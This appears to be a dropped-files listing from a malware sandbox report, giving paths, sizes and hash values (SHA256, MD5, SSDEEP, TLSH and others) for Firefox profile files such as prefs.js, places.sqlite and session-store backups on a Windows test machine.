Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\gmp-widevinecdm\4.10.3112.0\manifest.json
Size 1005B
SHA256 1cc15465230ffb75fd028ee3b2189c8774f56bc7dee8dd17b952e6ca92144004
MD5 58954048e70c81669675d4f87ab50af1
SHA1 8ab675ea31801bbb91c33fd381f4c202bfd7882e
SHA512 f9b8c236c9404936b93ba92550c21a0344b657c42cd98e091cda32e33fed860d59ac0cb97451ca61b2d8e6a943a983ded569b1d7ecd541e832e3ca87b39ecbd0
TLSH
T161115E00DD384DD326D4B6A21CC6580957661DAF5CC27E54379E161D4F1C8AB927376C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\gmp-widevinecdm\4.10.3112.0\widevinecdm.dll
Size 21.9MB
SHA256 7b44e84403fbb3faee15ca2d56eb8432fdf4eb68812c4460abdd20972528e825
MD5 5614c2225ece73a37e47894ff3c19aa3
SHA1 df3aadd22db3b5841fe488c985365269709b4b27
SHA512 8b8e55347a7a496cfe52222670781654ada20accf21f3e2dd88847e0a7a00cb083609a5f3907bcc1f927c1227de20373a744028466663c5389ad286a46fc3286
SSDEEP 393216:SKuarWwW0LmrEr38dudevJCJU2kpq1gL2aVRHy:dWCmz0dwJIkpqCW
TLSH
T1CC37E14AE35350E9E81ECDF4826E9A62E4343C4E03319BEF17D47A355A727C42A39F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

widevinecdm.dll.sig

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\gmp-widevinecdm\4.10.3112.0\widevinecdm.dll.sig
Size 1KB
SHA256 f9f160cb5ca37ef81a3aa80eeb7fef8b302e18c82d92c34f42503e0ab085ada5
MD5 a0dd5d559b24af4590e5cae3ac11a0fd
SHA1 04b83b414c36ab24fd27fe432a690de636bd2996
SHA512 2d69ea26916ed156f214c17d57c158cb680f1119849b8dd1f7315fd3fa6981c9d6ec2026b494d8e2e70e969205f063979287265a94e73704fe392884e8b4e4ac
TLSH
T1DE21E9DD697012242880793E5FEDF016FD3325C2AA3014FF456B65C2BCE376018C462E
MD5 SHA1 SHA512 TLSH

Submit Download

places.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\places.sqlite
Size 5.0MB
SHA256 4d4c72e4067d9caea3f8a8760c2e0af079c5cbdfb5e302a5b27ca82c8bdf80d9
MD5 e239bf333e91be90d16aa980234d9f72
SHA1 9d9e34f46bb0e8fd7aabc7f8ec24897923c1e3d5
SHA512 8c27bc7ccb09e90fec7d701b51e9638eb22f6a70cca771c237d29ff35a396494f1f1d82b3157ef985603b1378ea12f3aa95c872f33ff491a35e590321f46cdf6
SSDEEP 3072:SW3oH8sCHQ+ed+KFB+taqoZ/lvDK3wmB:Xo0
TLSH
T13736C89B6F104155C9EB9272DDD31B09083F700AC62ABA923D94212D4DE07127D6DDFF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 6KB
SHA256 75a37341ca5a9297e6d531e9b8c168b7fecfb996cdc60ed08d4d72305b3d2605
MD5 52cf102cc4ac20216c34de2c4076e8de
SHA1 5245446d8e98bcc24d6dd1ca46ae1525cd3bfdd6
SHA512 f621ddbb15cbf0af572f64d7ed8a3280c00846a144da812497c79ec747023c83e906eca7f831fa25b512cd89b2bc5aba420ca2c0aa49caec82a4e1932d83adfd
SSDEEP 96:xHYUTUMWqGqOfKExk1zSOcuGSSlkdv9jqnVioHKfizBw88P8L4cnaz3V1/:WcBROfKExkExSScOoABw88pz3T
TLSH
T18DE12F7895088B7FB4B6776C6C6888316AB2023BB7BF68C750B554C5054CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 8KB
SHA256 82881f8c4e185576c13634d601b0dd00971a1878cf59c3ce7c529456681395c8
MD5 95557d0d0bec55f64c7f1eac53e677ca
SHA1 2c86e811be37e9a7f20824783261981230a4204a
SHA512 39a92f49017cee907f066c11d4879ca11b08a8de02bdffa5811cb9c02f83803aa490337b1ba916db602806f55a6629574dc6121050c86517fdc49ca7050d8d0e
SSDEEP 96:xHYVTUMWqGqOfVo5gNbzSRmCSSlkdv9jlnVioWRipufisBw88Ct8L4cnaz3V1WGS:WNBROfVo+0SStbRiCPBw88Kz3E
TLSH
T1A9021C389408CB7F64B6777CBC6488315A62013BBBBF68D651B994C5010CF3486FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 6KB
SHA256 a1e7542e3ae414bbfbe55cdcfa2b02154b5d2239c67eb6d90922613ea1bf630c
MD5 cea6fdb66df9135f00f877bdd1e07840
SHA1 aae4f618954b885b1149748a5d0a9190977f9ddf
SHA512 22855b0ac3906742c262652500a255ea8f11c3d42fa53bc779dae145f95ff1adfc042d4f42aad35730b8b8d9593b54ec7de424318114ab47d8146508b0aaaca5
SSDEEP 96:xHYUTUMWqGqOfKEo5gkzSRmCSSlkdv9jlnVioHKfizBw88P8L4cnaz3V1WGS:WcBROfKEo+rSStOoABw88pz3E
TLSH
T1DDE12F7894088B7F64B6777C6C6888316AB2013BBBBF68D750B594C5054CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 7KB
SHA256 6baedd4bd16d2a41a82aa5e0e31a0e8bace6225c64433313b13848a8ccb314ac
MD5 aaf125a052a8302471be629a7a591228
SHA1 50d7e93d6a192465b1a3603294232a7d0b0a154a
SHA512 be10a85118c296f3cacbf0ae0293a097416e2d9d53e444d0448e74d4252f97838144708e79b4f438bf34b956bde91f809b9e08a49e38bf1c5e6fea01484e2b76
SSDEEP 96:xHYUTUMWqGqOfKEo5gNbzSRmCSSlkdv9jlnVioHKfizBw88P8L4cnaz3V1WGS:WcBROfKEo+0SStOoABw88pz3E
TLSH
T1E5E13F7895088B7FA4B6777C6C6888316AB2013BBBBF68C750B594C4054CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 6KB
SHA256 9fda5eb743b79c0cf7d585f0f86cfdec1230619c8438bcd2004b749fb5d35a62
MD5 3c4a9059e8c9d3835611d243ee8ebe7b
SHA1 1d2ce2f4103c7f8cbaa6cfc2f507d28cd716b616
SHA512 fe7d13872717f48c3e6d8614a65a0bf6b262a6f589e1e149f5051f2b267c50b94e94ced0d1b6c029e1c788a6d41a94f777dbead2e17e41895cfaa564b31e5995
SSDEEP 96:xHYUTUMWqGqOfKEo5g1zSRmCSSlkdv9jlnVioHKfizBw88P8L4cnaz3V1/:WcBROfKEo+4SStOoABw88pz3T
TLSH
T14DE12E7894088B7FA4B6777C6C6888316AB2013BBBBF68D750B594C5054CF3442F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 12KB
SHA256 e67bcf5b85db812cd752509db2b8dcd251087e4c8391998b69dd8488583c2c36
MD5 a2328adae8543c061df7a6da8d1b7ea8
SHA1 cb31168448d54dda9665cb94bea1ad85b7e4d493
SHA512 d4792f99e3f9d8379de0c447ed2bacf1d0c960e78c7c01ce11f43f2571e146795d62f5bc7f8da96d2681560665dd52ed3b0713acacbd96ac9d2dd68d818ba782
SSDEEP 192:WNJCROfVo+0SStKLRiCNc/Bw880yKWX4f7z3R:ifRiCNWwtcD9
TLSH
T18042CC3855059B3F20B2727DBC6589B019614137BBBFBCE246F994D2044CF2582F6AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\prefs.js
Size 6KB
SHA256 0a026949e53303d082e53e55cc68111064bf8d75e6a683e557162a2881c50a11
MD5 8aae9474c5a9f6b5565f406e9a8e0127
SHA1 dbaa5b3c3969098939a309a8ae53c30b67146883
SHA512 0ffef9e5df1cfde84079425e5cb5ef59772aadd34566e8c5e51326a026e9f6253bab264e7b106a36babf1f4b2fc92156962310e7bc089d20f1471087d91b9916
SSDEEP 96:xHYUTUMWqGqOfKExk1zSRmCSSlkdv9jqnVioHKfizBw88P8L4cnaz3V1/:WcBROfKExk4SScOoABw88pz3T
TLSH
T184E12E7894088B7FB4B6776C6C6888316AB2013BBBBF68D750B594C5054CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionCheckpoints.json
Size 90B
SHA256 00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2
MD5 c4ab2ee59ca41b6d6a6ea911f35bdc00
SHA1 5942cd6505fc8a9daba403b082067e1cdefdfbc4
SHA512 71ea16900479e6af161e0aad08c8d1e9ded5868a8d848e7647272f3002e2f2013e16382b677abe3c6f17792a26293b9e27ec78e16f00bd24ba3d21072bd1cae2
TLSH
T1D4B01205C8181030CD43140873743B429B2E00B231500100317CF88C203B0134556883
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionCheckpoints.json
Size 53B
SHA256 792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da
MD5 ea8b62857dfdbd3d0be7d7e4a954ec9a
SHA1 b43bc4b3ea206a02ef8f63d5bfad0c96bf2a3b2a
SHA512 076ee83534f42563046d25086166f82e1a3ec61840c113aec67abe2d8195daa247d827d0c54e7e8f8a1bbf2d082a3763577587e84342ec160ff97905243e6d19
TLSH
T10190024AC8590431DE42251823647B90A61E04A254250101526CBC88046B0155486483
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionCheckpoints.json
Size 122B
SHA256 72d74b596f7fc079d15431b51ce565a6465a40f5897682a94a3f1dd19b07959a
MD5 99601438ae1349b653fcd00278943f90
SHA1 8958d05e9362f6f0f3b616f7bfd0aeb5d37967c9
SHA512 ffa863d5d6af4a48aadc5c92df4781d3aacbf5d91b43b5e68569952ffec513ff95655b3e54c2161fe27d2274dd4778bad517c7a3972f206381ef292808628c55
TLSH
T14DB09296895A1070CE83259D73A47B92AE3E14F676A1164471ACA98C24BB0278657883
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionCheckpoints.json
Size 146B
SHA256 7343d5a46e2fca762305a4f85c45484a49c1607ede8e8c4bd12bedd2327edb8d
MD5 65690c43c42921410ec8043e34f09079
SHA1 362add4dbd0c978ae222a354a4e8d35563da14b4
SHA512 c0208d51cf1586e75f22764b82c48ecbb42c1ff54aa412a85af13d686e0119b4e49e98450d25c70e3792d3b9c2cda0c5ab0c6931ebaf548693bb970a35ae62b9
TLSH
T1C9C02BC385460070CEC3229D33A07F92AE3F00FB37B10604706CA54C14770278203443
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionCheckpoints.json
Size 288B
SHA256 2fca1f29b73dd5b4159fa1eb16e69276482f5224ba7d2219a547039129a51f0e
MD5 948a7403e323297c6bb8a5c791b42866
SHA1 88a555717e8a4a33eccfb7d47a2a4aa31038f9c0
SHA512 17e2f65c33f47c8bb4beca31db2aff3d4bbb6c2d36924057f9f847e207bdcb85ffcbb32c80dd06862ffc9b7f0bd3f5e2e65b48bb1bc3363732751101d5596b1a
TLSH
T1A5D08C83C10950BACE826A58B398BB509E3E00F271140142B6AC888C183F023418B803
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionCheckpoints.json.tmp
Size 259B
SHA256 50a670fb78ff2712aae2c16d9499e01c15fddf24e229330d02a69b0527a38092
MD5 e6c20f53d6714067f2b49d0e9ba8030e
SHA1 f516dc1084cdd8302b3e7f7167b905e603b6f04f
SHA512 462415b8295c1cdcac0a7cb16bb8a027ef36ae2ce0b061071074ac3209332a7eae71de843af4b96bbbd6158ca8fd5c18147bf9a79b8a7768a9a35edce8b784bf
TLSH
T18ED02E83C209507ACE836E68B39CBB508E3F00F372240202B2AC888C183F023418F803
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionstore-backups\recovery.jsonlz4
Size 3KB
SHA256 63c2676e84ffe94f3b284af03ce86aebf92a2d883866e68a96121da07d14d8bf
MD5 18e73d8761d38330fac8bfbd4923037f
SHA1 b2629c973640579b6f2eef661e61727ce5716996
SHA512 33df98c1331573862fde4661ca082017820f0e0da2a5189af8fd1e807020ed6964390d38493c192ed409e2f24dbf282dc76164b48e321093671b5969c3ac72ff
TLSH
T124816C31DD2CAD86FCF8A6BF10E189C3DB7B600157D5D854E9011036C48B6C62BD4A79
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionstore-backups\recovery.jsonlz4
Size 8KB
SHA256 b9d139d83777ae8abef1f4d9c8280c6dfda1fa08df216cda1f4bd4fb5430b05a
MD5 76564fb2c47d17911ec475281082e16d
SHA1 f71ece7fe91816cbcae1f2d3b8360616270f271d
SHA512 6f5d224e5b88216976b986778502c870012bddcbd413d6eec2f1db1e9fafff4c31c799fc8af903b1303538cb587449db85461178a211b3fdccc5ca232a16dcaa
SSDEEP 96:92fLgdjd+9kMacUov10rW1P+xpGldq/O5/DyKB6mhsdW4ItG9BWgKdw8ngO1YQ1s:9kK499acv947/O5XN+Ggagw71R9d4vp
TLSH
T1F9029E72E5985ED5C936889408CD7A0FA6E4318DCAC82644ADCFED1B47E391D80B9653
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionstore-backups\recovery.jsonlz4
Size 2KB
SHA256 ae5a521e1ada28e1d8dd7bb8d322c9cfaeb9908e0090bb209187d0745fdfb0f2
MD5 4c6588aa7b0241fdeea07d4bf69ae66f
SHA1 e196ae4c1ac18c640775453a72b3948cbda911c5
SHA512 81af5a0fa421382a3fc7eeac9ff2c59d81a63501aacdcc947cfed0bf02f606474c994aa580b24ceebe87e77186409f7c590b730bd351ae682af26e2787f36201
TLSH
T152516E4AF949DDD76D20C5C884CF1D5597EC3105C6E80DC4862E0E1746DE30ED81BF82
MD5 SHA1 SHA512 TLSH

Submit Download

sessionstore.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\woy7kavs.default-release\sessionstore.jsonlz4
Size 9KB
SHA256 b80663a4f4b208cdca4686339798286525bdc032f5dc6472bbcd868ffa5e850a
MD5 d5220408c02f73e1c6988de2c207b42b
SHA1 beb81310390dd5d61d848ad613a362f866301e55
SHA512 678c12fad084fbaf2b1400751981a2526ff040afd77a498bf295290efe5ac18bfbfa40cd648282fc0569fdb03fecb53851f983a7938ad3859ec25987d9dc4c53
SSDEEP 192:QkK499acv947/O5XN+GgaXIFOeovZI3gw71R9d5Fisbk:C4Cu947O5dmaYFOeov09LFzk
TLSH
T19A22AF65E6984E95CE2A0D9804D87F0EE2E03248D5C43580ADCFDD0A47E7A2D84F9B83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download